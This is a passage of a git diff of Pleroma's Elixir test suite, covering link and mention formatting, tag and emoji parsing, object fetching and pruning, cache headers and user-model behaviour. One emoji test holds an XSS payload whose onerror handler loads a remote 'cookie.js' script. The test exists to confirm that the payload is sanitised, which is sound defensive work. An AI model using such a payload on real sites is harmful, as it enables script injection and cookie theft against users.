	text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://www.google.co.jp/search?q=Nasim+Aghdam"

	expected =
	"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://en.wikipedia.org/wiki/Duff's_device"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://pleroma.com https://pleroma.com/sucks"

	expected =
	"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "xmpp:contact@hacktivis.me"

	expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text =
	"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"

	expected = "<a href=\"#{text}\">#{text}</a>"

	assert {^expected, [], []} = Formatter.linkify(text)
	end
	end

	describe "add_user_links" do
	test "gives a replacement for user links, using local nicknames in user links text" do
	text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
	gsimg = insert(:user, %{nickname: "gsimg"})

	archaeme =
	insert(:user, %{
	nickname: "archa_eme_",
	info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
	})

	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 3

	expected_text =
	"<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
	gsimg.ap_id
	}'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
	archaeme.id
	}' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
	archaeme_remote.id
	}' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"

	assert expected_text == text
	end

	test "gives a replacement for user links when the user is using Osada" do
	{:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com")

	text = "@mike@osada.macgirvin.com test"

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 1

	expected_text =
	"<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"

	assert expected_text == text
	end

	test "gives a replacement for single-character local nicknames" do
	text = "@o hi"
	o = insert(:user, %{nickname: "o"})

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 1

	expected_text =
	"<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"

	assert expected_text == text
	end

	test "does not give a replacement for single-character local nicknames who don't exist" do
	text = "@a hi"

	expected_text = "@a hi"
	assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
	end

	test "given the 'safe_mention' option, it will only mention people in the beginning" do
	user = insert(:user)
	- _other_user = insert(:user)
	+ other_user = insert(:user)
	third_user = insert(:user)
	- text = " @#{user.nickname} hey dude i hate @#{third_user.nickname}"
	+ text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
	{expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)

	- assert mentions == [{"@#{user.nickname}", user}]
	+ assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]

	assert expected_text ==
	"<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
	user.ap_id
	- }'>@<span>#{user.nickname}</span></a></span> hey dude i hate <span class='h-card'><a data-user='#{
	+ }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
	+ other_user.id
	+ }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
	third_user.id
	}' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
	end

	test "given the 'safe_mention' option, it will still work without any mention" do
	text = "A post without any mention"
	{expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)

	assert mentions == []
	assert expected_text == text
	end
	+
	+ test "given the 'safe_mention' option, it will keep text after newlines" do
	+ user = insert(:user)
	+ text = " @#{user.nickname}\n hey dude\n\nhow are you doing?"
	+
	+ {expected_text, _, _} = Formatter.linkify(text, safe_mention: true)
	+
	+ assert expected_text =~ "how are you doing?"
	+ end
	end

	describe ".parse_tags" do
	test "parses tags in the text" do
	text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"

	expected_tags = [
	{"#Test", "test"},
	{"#working", "working"},
	{"#は", "は"},
	{"#漢字", "漢字"}
	]

	assert {_text, [], ^expected_tags} = Formatter.linkify(text)
	end
	end

	test "it can parse mentions and return the relevant users" do
	text =
	"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"

	o = insert(:user, %{nickname: "o"})
	jimm = insert(:user, %{nickname: "jimm"})
	gsimg = insert(:user, %{nickname: "gsimg"})
	archaeme = insert(:user, %{nickname: "archaeme"})
	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	expected_mentions = [
	{"@archaeme", archaeme},
	{"@archaeme@archae.me", archaeme_remote},
	{"@gsimg", gsimg},
	{"@jimm", jimm},
	{"@o", o}
	]

	assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
	end

	test "it adds cool emoji" do
	text = "I love :firefox:"

	expected_result =
	"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"

	assert Formatter.emojify(text) == expected_result
	end

	test "it does not add XSS emoji" do
	text =
	"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"

	custom_emoji = %{
	"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
	"https://placehold.it/1x1"
	}

	expected_result =
	"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"

	assert Formatter.emojify(text, custom_emoji) == expected_result
	end

	test "it returns the emoji used in the text" do
	text = "I love :firefox:"

	assert Formatter.get_emoji(text) == [
	{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
	]
	end

	test "it returns a nice empty result when no emojis are present" do
	text = "I love moominamma"
	assert Formatter.get_emoji(text) == []
	end

	test "it doesn't die when text is absent" do
	text = nil
	assert Formatter.get_emoji(text) == []
	end

	test "it escapes HTML in plain text" do
	text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
	expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"

	assert Formatter.html_escape(text, "text/plain") == expected
	end
	end
	diff --git a/test/keys_test.exs b/test/keys_test.exs
	new file mode 100644
	index 000000000..776fdea6f
	--- /dev/null
	+++ b/test/keys_test.exs
	@@ -0,0 +1,20 @@
	+defmodule Pleroma.KeysTest do
	+ use Pleroma.DataCase
	+
	+ alias Pleroma.Keys
	+
	+ test "generates an RSA private key pem" do
	+ {:ok, key} = Keys.generate_rsa_pem()
	+
	+ assert is_binary(key)
	+ assert Regex.match?(~r/RSA/, key)
	+ end
	+
	+ test "returns a public and private key from a pem" do
	+ pem = File.read!("test/fixtures/private_key.pem")
	+ {:ok, private, public} = Keys.keys_from_pem(pem)
	+
	+ assert elem(private, 0) == :RSAPrivateKey
	+ assert elem(public, 0) == :RSAPublicKey
	+ end
	+end
	diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs
	index 72f616782..d604fd5f5 100644
	--- a/test/object/fetcher_test.exs
	+++ b/test/object/fetcher_test.exs
	@@ -1,90 +1,109 @@
	defmodule Pleroma.Object.FetcherTest do
	use Pleroma.DataCase

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Object.Fetcher
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "actor origin containment" do
	test "it rejects objects with a bogus origin" do
	{:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity.json")
	end

	test "it rejects objects when attributedTo is wrong (variant 1)" do
	{:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity2.json")
	end

	test "it rejects objects when attributedTo is wrong (variant 2)" do
	{:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity3.json")
	end
	end

	describe "fetching an object" do
	test "it fetches an object" do
	{:ok, object} =
	Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")

	assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
	assert activity.data["id"]

	{:ok, object_again} =
	Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")

	assert [attachment] = object.data["attachment"]
	assert is_list(attachment["url"])

	assert object == object_again
	end

	test "it works with objects only available via Ostatus" do
	{:ok, object} = Fetcher.fetch_object_from_id("https://shitposter.club/notice/2827873")
	assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
	assert activity.data["id"]

	{:ok, object_again} = Fetcher.fetch_object_from_id("https://shitposter.club/notice/2827873")

	assert object == object_again
	end

	test "it correctly stitches up conversations between ostatus and ap" do
	last = "https://mstdn.io/users/mayuutann/statuses/99568293732299394"
	{:ok, object} = Fetcher.fetch_object_from_id(last)

	object = Object.get_by_ap_id(object.data["inReplyTo"])
	assert object
	end
	end

	describe "implementation quirks" do
	test "it can fetch plume articles" do
	{:ok, object} =
	Fetcher.fetch_object_from_id(
	"https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"
	)

	assert object
	end

	test "it can fetch peertube videos" do
	{:ok, object} =
	Fetcher.fetch_object_from_id(
	"https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	)

	assert object
	end

	test "all objects with fake directions are rejected by the object fetcher" do
	{:error, _} =
	Fetcher.fetch_and_contain_remote_object_from_id(
	"https://info.pleroma.site/activity4.json"
	)
	end
	end
	+
	+ describe "pruning" do
	+ test "it can refetch pruned objects" do
	+ object_id = "http://mastodon.example.org/@admin/99541947525187367"
	+
	+ {:ok, object} = Fetcher.fetch_object_from_id(object_id)
	+
	+ assert object
	+
	+ {:ok, _object} = Object.prune(object)
	+
	+ refute Object.get_by_ap_id(object_id)
	+
	+ {:ok, %Object{} = object_two} = Fetcher.fetch_object_from_id(object_id)
	+
	+ assert object.data["id"] == object_two.data["id"]
	+ assert object.id != object_two.id
	+ end
	+ end
	end
	diff --git a/test/plugs/cache_control_test.exs b/test/plugs/cache_control_test.exs
	new file mode 100644
	index 000000000..45151b289
	--- /dev/null
	+++ b/test/plugs/cache_control_test.exs
	@@ -0,0 +1,20 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.Web.CacheControlTest do
	+ use Pleroma.Web.ConnCase
	+ alias Plug.Conn
	+
	+ test "Verify Cache-Control header on static assets", %{conn: conn} do
	+ conn = get(conn, "/index.html")
	+
	+ assert Conn.get_resp_header(conn, "cache-control") == ["public, no-cache"]
	+ end
	+
	+ test "Verify Cache-Control header on the API", %{conn: conn} do
	+ conn = get(conn, "/api/v1/instance")
	+
	+ assert Conn.get_resp_header(conn, "cache-control") == ["max-age=0, private, must-revalidate"]
	+ end
	+end
	diff --git a/test/support/ostatus_mock.ex b/test/support/ostatus_mock.ex
	deleted file mode 100644
	index 9c0f2f323..000000000
	--- a/test/support/ostatus_mock.ex
	+++ /dev/null
	@@ -1,11 +0,0 @@
	-# Pleroma: A lightweight social networking server
	-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	-# SPDX-License-Identifier: AGPL-3.0-only
	-
	-defmodule Pleroma.Web.OStatusMock do
	- import Pleroma.Factory
	-
	- def handle_incoming(_doc) do
	- insert(:note_activity)
	- end
	-end
	diff --git a/test/support/websub_mock.ex b/test/support/websub_mock.ex
	deleted file mode 100644
	index e3d5a5b16..000000000
	--- a/test/support/websub_mock.ex
	+++ /dev/null
	@@ -1,9 +0,0 @@
	-# Pleroma: A lightweight social networking server
	-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	-# SPDX-License-Identifier: AGPL-3.0-only
	-
	-defmodule Pleroma.Web.WebsubMock do
	- def verify(sub) do
	- {:ok, sub}
	- end
	-end
	diff --git a/test/user_test.exs b/test/user_test.exs
	index 10e463ff8..019f2b56d 100644
	--- a/test/user_test.exs
	+++ b/test/user_test.exs
	@@ -1,1254 +1,1269 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.UserTest do
	alias Pleroma.Activity
	alias Pleroma.Builders.UserBuilder
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI

	use Pleroma.DataCase

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "when tags are nil" do
	test "tagging a user" do
	user = insert(:user, %{tags: nil})
	user = User.tag(user, ["cool", "dude"])

	assert "cool" in user.tags
	assert "dude" in user.tags
	end

	test "untagging a user" do
	user = insert(:user, %{tags: nil})
	user = User.untag(user, ["cool", "dude"])

	assert user.tags == []
	end
	end

	test "ap_id returns the activity pub id for the user" do
	user = UserBuilder.build()

	expected_ap_id = "#{Pleroma.Web.base_url()}/users/#{user.nickname}"

	assert expected_ap_id == User.ap_id(user)
	end

	test "ap_followers returns the followers collection for the user" do
	user = UserBuilder.build()

	expected_followers_collection = "#{User.ap_id(user)}/followers"

	assert expected_followers_collection == User.ap_followers(user)
	end

	test "returns all pending follow requests" do
	unlocked = insert(:user)
	locked = insert(:user, %{info: %{locked: true}})
	follower = insert(:user)

	Pleroma.Web.TwitterAPI.TwitterAPI.follow(follower, %{"user_id" => unlocked.id})
	Pleroma.Web.TwitterAPI.TwitterAPI.follow(follower, %{"user_id" => locked.id})

	assert {:ok, []} = User.get_follow_requests(unlocked)
	assert {:ok, [activity]} = User.get_follow_requests(locked)

	assert activity
	end

	test "doesn't return already accepted or duplicate follow requests" do
	locked = insert(:user, %{info: %{locked: true}})
	pending_follower = insert(:user)
	accepted_follower = insert(:user)

	Pleroma.Web.TwitterAPI.TwitterAPI.follow(pending_follower, %{"user_id" => locked.id})
	Pleroma.Web.TwitterAPI.TwitterAPI.follow(pending_follower, %{"user_id" => locked.id})
	Pleroma.Web.TwitterAPI.TwitterAPI.follow(accepted_follower, %{"user_id" => locked.id})
	User.maybe_follow(accepted_follower, locked)

	assert {:ok, [activity]} = User.get_follow_requests(locked)
	assert activity
	end

	test "follow_all follows mutliple users" do
	user = insert(:user)
	followed_zero = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	blocked = insert(:user)
	not_followed = insert(:user)
	reverse_blocked = insert(:user)

	{:ok, user} = User.block(user, blocked)
	{:ok, reverse_blocked} = User.block(reverse_blocked, user)

	{:ok, user} = User.follow(user, followed_zero)

	{:ok, user} = User.follow_all(user, [followed_one, followed_two, blocked, reverse_blocked])

	assert User.following?(user, followed_one)
	assert User.following?(user, followed_two)
	assert User.following?(user, followed_zero)
	refute User.following?(user, not_followed)
	refute User.following?(user, blocked)
	refute User.following?(user, reverse_blocked)
	end

	test "follow_all follows mutliple users without duplicating" do
	user = insert(:user)
	followed_zero = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)

	{:ok, user} = User.follow_all(user, [followed_zero, followed_one])
	assert length(user.following) == 3

	{:ok, user} = User.follow_all(user, [followed_one, followed_two])
	assert length(user.following) == 4
	end

	test "follow takes a user and another user" do
	user = insert(:user)
	followed = insert(:user)

	{:ok, user} = User.follow(user, followed)

	user = User.get_cached_by_id(user.id)

	followed = User.get_cached_by_ap_id(followed.ap_id)
	assert followed.info.follower_count == 1

	assert User.ap_followers(followed) in user.following
	end

	test "can't follow a deactivated users" do
	user = insert(:user)
	followed = insert(:user, info: %{deactivated: true})

	{:error, _} = User.follow(user, followed)
	end

	test "can't follow a user who blocked us" do
	blocker = insert(:user)
	blockee = insert(:user)

	{:ok, blocker} = User.block(blocker, blockee)

	{:error, _} = User.follow(blockee, blocker)
	end

	test "can't subscribe to a user who blocked us" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.block(blocker, blocked)

	{:error, _} = User.subscribe(blocked, blocker)
	end

	test "local users do not automatically follow local locked accounts" do
	follower = insert(:user, info: %{locked: true})
	followed = insert(:user, info: %{locked: true})

	{:ok, follower} = User.maybe_direct_follow(follower, followed)

	refute User.following?(follower, followed)
	end

	# This is a somewhat useless test.
	# test "following a remote user will ensure a websub subscription is present" do
	# user = insert(:user)
	# {:ok, followed} = OStatus.make_user("shp@social.heldscal.la")

	# assert followed.local == false

	# {:ok, user} = User.follow(user, followed)
	# assert User.ap_followers(followed) in user.following

	# query = from w in WebsubClientSubscription,
	# where: w.topic == ^followed.info["topic"]
	# websub = Repo.one(query)

	# assert websub
	# end

	test "unfollow takes a user and another user" do
	followed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(followed)]})

	{:ok, user, _activity} = User.unfollow(user, followed)

	user = User.get_cached_by_id(user.id)

	assert user.following == []
	end

	test "unfollow doesn't unfollow yourself" do
	user = insert(:user)

	{:error, _} = User.unfollow(user, user)

	user = User.get_cached_by_id(user.id)
	assert user.following == [user.ap_id]
	end

	test "test if a user is following another user" do
	followed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(followed)]})

	assert User.following?(user, followed)
	refute User.following?(followed, user)
	end

	test "fetches correct profile for nickname beginning with number" do
	# Use old-style integer ID to try to reproduce the problem
	user = insert(:user, %{id: 1080})
	user_with_numbers = insert(:user, %{nickname: "#{user.id}garbage"})
	assert user_with_numbers == User.get_cached_by_nickname_or_id(user_with_numbers.nickname)
	end

	describe "user registration" do
	@full_user_data %{
	bio: "A guy",
	name: "my name",
	nickname: "nick",
	password: "test",
	password_confirmation: "test",
	email: "email@example.com"
	}

	test "it autofollows accounts that are set for it" do
	user = insert(:user)
	remote_user = insert(:user, %{local: false})

	Pleroma.Config.put([:instance, :autofollowed_nicknames], [
	user.nickname,
	remote_user.nickname
	])

	cng = User.register_changeset(%User{}, @full_user_data)

	{:ok, registered_user} = User.register(cng)

	assert User.following?(registered_user, user)
	refute User.following?(registered_user, remote_user)

	Pleroma.Config.put([:instance, :autofollowed_nicknames], [])
	end

	test "it sends a welcome message if it is set" do
	welcome_user = insert(:user)

	Pleroma.Config.put([:instance, :welcome_user_nickname], welcome_user.nickname)
	Pleroma.Config.put([:instance, :welcome_message], "Hello, this is a cool site")

	cng = User.register_changeset(%User{}, @full_user_data)
	{:ok, registered_user} = User.register(cng)

	activity = Repo.one(Pleroma.Activity)
	assert registered_user.ap_id in activity.recipients
	assert Object.normalize(activity).data["content"] =~ "cool site"
	assert activity.actor == welcome_user.ap_id

	Pleroma.Config.put([:instance, :welcome_user_nickname], nil)
	Pleroma.Config.put([:instance, :welcome_message], nil)
	end

	test "it requires an email, name, nickname and password, bio is optional" do
	@full_user_data
	\|> Map.keys()
	\|> Enum.each(fn key ->
	params = Map.delete(@full_user_data, key)
	changeset = User.register_changeset(%User{}, params)

	assert if key == :bio, do: changeset.valid?, else: not changeset.valid?
	end)
	end

	test "it restricts certain nicknames" do
	[restricted_name \| _] = Pleroma.Config.get([User, :restricted_nicknames])

	assert is_bitstring(restricted_name)

	params =
	@full_user_data
	\|> Map.put(:nickname, restricted_name)

	changeset = User.register_changeset(%User{}, params)

	refute changeset.valid?
	end

	test "it sets the password_hash, ap_id and following fields" do
	changeset = User.register_changeset(%User{}, @full_user_data)

	assert changeset.valid?

	assert is_binary(changeset.changes[:password_hash])
	assert changeset.changes[:ap_id] == User.ap_id(%User{nickname: @full_user_data.nickname})

	assert changeset.changes[:following] == [
	User.ap_followers(%User{nickname: @full_user_data.nickname})
	]

	assert changeset.changes.follower_address == "#{changeset.changes.ap_id}/followers"
	end

	test "it ensures info is not nil" do
	changeset = User.register_changeset(%User{}, @full_user_data)

	assert changeset.valid?

	{:ok, user} =
	changeset
	\|> Repo.insert()

	refute is_nil(user.info)
	end
	end

	describe "user registration, with :account_activation_required" do
	@full_user_data %{
	bio: "A guy",
	name: "my name",
	nickname: "nick",
	password: "test",
	password_confirmation: "test",
	email: "email@example.com"
	}

	setup do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	:ok
	end

	test "it creates unconfirmed user" do
	changeset = User.register_changeset(%User{}, @full_user_data)
	assert changeset.valid?

	{:ok, user} = Repo.insert(changeset)

	assert user.info.confirmation_pending
	assert user.info.confirmation_token
	end

	test "it creates confirmed user if :confirmed option is given" do
	changeset = User.register_changeset(%User{}, @full_user_data, need_confirmation: false)
	assert changeset.valid?

	{:ok, user} = Repo.insert(changeset)

	refute user.info.confirmation_pending
	refute user.info.confirmation_token
	end
	end

	describe "get_or_fetch/1" do
	test "gets an existing user by nickname" do
	user = insert(:user)
	{:ok, fetched_user} = User.get_or_fetch(user.nickname)

	assert user == fetched_user
	end

	test "gets an existing user by ap_id" do
	ap_id = "http://mastodon.example.org/users/admin"

	user =
	insert(
	:user,
	local: false,
	nickname: "admin@mastodon.example.org",
	ap_id: ap_id,
	info: %{}
	)

	{:ok, fetched_user} = User.get_or_fetch(ap_id)
	freshed_user = refresh_record(user)
	assert freshed_user == fetched_user
	end
	end

	describe "fetching a user from nickname or trying to build one" do
	test "gets an existing user" do
	user = insert(:user)
	{:ok, fetched_user} = User.get_or_fetch_by_nickname(user.nickname)

	assert user == fetched_user
	end

	test "gets an existing user, case insensitive" do
	user = insert(:user, nickname: "nick")
	{:ok, fetched_user} = User.get_or_fetch_by_nickname("NICK")

	assert user == fetched_user
	end

	test "gets an existing user by fully qualified nickname" do
	user = insert(:user)

	{:ok, fetched_user} =
	User.get_or_fetch_by_nickname(user.nickname <> "@" <> Pleroma.Web.Endpoint.host())

	assert user == fetched_user
	end

	test "gets an existing user by fully qualified nickname, case insensitive" do
	user = insert(:user, nickname: "nick")
	casing_altered_fqn = String.upcase(user.nickname <> "@" <> Pleroma.Web.Endpoint.host())

	{:ok, fetched_user} = User.get_or_fetch_by_nickname(casing_altered_fqn)

	assert user == fetched_user
	end

	test "fetches an external user via ostatus if no user exists" do
	{:ok, fetched_user} = User.get_or_fetch_by_nickname("shp@social.heldscal.la")
	assert fetched_user.nickname == "shp@social.heldscal.la"
	end

	test "returns nil if no user could be fetched" do
	{:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant@social.heldscal.la")
	assert fetched_user == "not found nonexistant@social.heldscal.la"
	end

	test "returns nil for nonexistant local user" do
	{:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant")
	assert fetched_user == "not found nonexistant"
	end

	test "updates an existing user, if stale" do
	a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800)

	orig_user =
	insert(
	:user,
	local: false,
	nickname: "admin@mastodon.example.org",
	ap_id: "http://mastodon.example.org/users/admin",
	last_refreshed_at: a_week_ago,
	info: %{}
	)

	assert orig_user.last_refreshed_at == a_week_ago

	{:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin")
	assert user.info.source_data["endpoints"]

	refute user.last_refreshed_at == orig_user.last_refreshed_at
	end
	end

	test "returns an ap_id for a user" do
	user = insert(:user)

	assert User.ap_id(user) ==
	Pleroma.Web.Router.Helpers.o_status_url(
	Pleroma.Web.Endpoint,
	:feed_redirect,
	user.nickname
	)
	end

	test "returns an ap_followers link for a user" do
	user = insert(:user)

	assert User.ap_followers(user) ==
	Pleroma.Web.Router.Helpers.o_status_url(
	Pleroma.Web.Endpoint,
	:feed_redirect,
	user.nickname
	) <> "/followers"
	end

	describe "remote user creation changeset" do
	@valid_remote %{
	bio: "hello",
	name: "Someone",
	nickname: "a@b.de",
	ap_id: "http...",
	info: %{some: "info"},
	avatar: %{some: "avatar"}
	}

	test "it confirms validity" do
	cs = User.remote_user_creation(@valid_remote)
	assert cs.valid?
	end

	test "it sets the follower_adress" do
	cs = User.remote_user_creation(@valid_remote)
	# remote users get a fake local follower address
	assert cs.changes.follower_address ==
	User.ap_followers(%User{nickname: @valid_remote[:nickname]})
	end

	test "it enforces the fqn format for nicknames" do
	cs = User.remote_user_creation(%{@valid_remote \| nickname: "bla"})
	assert cs.changes.local == false
	assert cs.changes.avatar
	refute cs.valid?
	end

	test "it has required fields" do
	[:name, :ap_id]
	\|> Enum.each(fn field ->
	cs = User.remote_user_creation(Map.delete(@valid_remote, field))
	refute cs.valid?
	end)
	end

	test "it restricts some sizes" do
	[bio: 5000, name: 100]
	\|> Enum.each(fn {field, size} ->
	string = String.pad_leading(".", size)
	cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
	assert cs.valid?

	string = String.pad_leading(".", size + 1)
	cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
	refute cs.valid?
	end)
	end
	end

	describe "followers and friends" do
	test "gets all followers for a given user" do
	user = insert(:user)
	follower_one = insert(:user)
	follower_two = insert(:user)
	not_follower = insert(:user)

	{:ok, follower_one} = User.follow(follower_one, user)
	{:ok, follower_two} = User.follow(follower_two, user)

	{:ok, res} = User.get_followers(user)

	assert Enum.member?(res, follower_one)
	assert Enum.member?(res, follower_two)
	refute Enum.member?(res, not_follower)
	end

	test "gets all friends (followed users) for a given user" do
	user = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	not_followed = insert(:user)

	{:ok, user} = User.follow(user, followed_one)
	{:ok, user} = User.follow(user, followed_two)

	{:ok, res} = User.get_friends(user)

	followed_one = User.get_cached_by_ap_id(followed_one.ap_id)
	followed_two = User.get_cached_by_ap_id(followed_two.ap_id)
	assert Enum.member?(res, followed_one)
	assert Enum.member?(res, followed_two)
	refute Enum.member?(res, not_followed)
	end
	end

	describe "updating note and follower count" do
	test "it sets the info->note_count property" do
	note = insert(:note)

	user = User.get_cached_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.update_note_count(user)

	assert user.info.note_count == 1
	end

	test "it increases the info->note_count property" do
	note = insert(:note)
	user = User.get_cached_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 1

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 2
	end

	test "it decreases the info->note_count property" do
	note = insert(:note)
	user = User.get_cached_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 1

	{:ok, user} = User.decrease_note_count(user)

	assert user.info.note_count == 0

	{:ok, user} = User.decrease_note_count(user)

	assert user.info.note_count == 0
	end

	test "it sets the info->follower_count property" do
	user = insert(:user)
	follower = insert(:user)

	User.follow(follower, user)

	assert user.info.follower_count == 0

	{:ok, user} = User.update_follower_count(user)

	assert user.info.follower_count == 1
	end
	end

	describe "remove duplicates from following list" do
	test "it removes duplicates" do
	user = insert(:user)
	follower = insert(:user)

	{:ok, %User{following: following} = follower} = User.follow(follower, user)
	assert length(following) == 2

	{:ok, follower} =
	follower
	\|> User.update_changeset(%{following: following ++ following})
	\|> Repo.update()

	assert length(follower.following) == 4

	{:ok, follower} = User.remove_duplicated_following(follower)
	assert length(follower.following) == 2
	end

	test "it does nothing when following is uniq" do
	user = insert(:user)
	follower = insert(:user)

	{:ok, follower} = User.follow(follower, user)
	assert length(follower.following) == 2

	{:ok, follower} = User.remove_duplicated_following(follower)
	assert length(follower.following) == 2
	end
	end

	describe "follow_import" do
	test "it imports user followings from list" do
	[user1, user2, user3] = insert_list(3, :user)

	identifiers = [
	user2.ap_id,
	user3.nickname
	]

	result = User.follow_import(user1, identifiers)
	assert is_list(result)
	assert result == [user2, user3]
	end
	end

	describe "mutes" do
	test "it mutes people" do
	user = insert(:user)
	muted_user = insert(:user)

	refute User.mutes?(user, muted_user)

	{:ok, user} = User.mute(user, muted_user)

	assert User.mutes?(user, muted_user)
	end

	test "it unmutes users" do
	user = insert(:user)
	muted_user = insert(:user)

	{:ok, user} = User.mute(user, muted_user)
	{:ok, user} = User.unmute(user, muted_user)

	refute User.mutes?(user, muted_user)
	end
	end

	describe "blocks" do
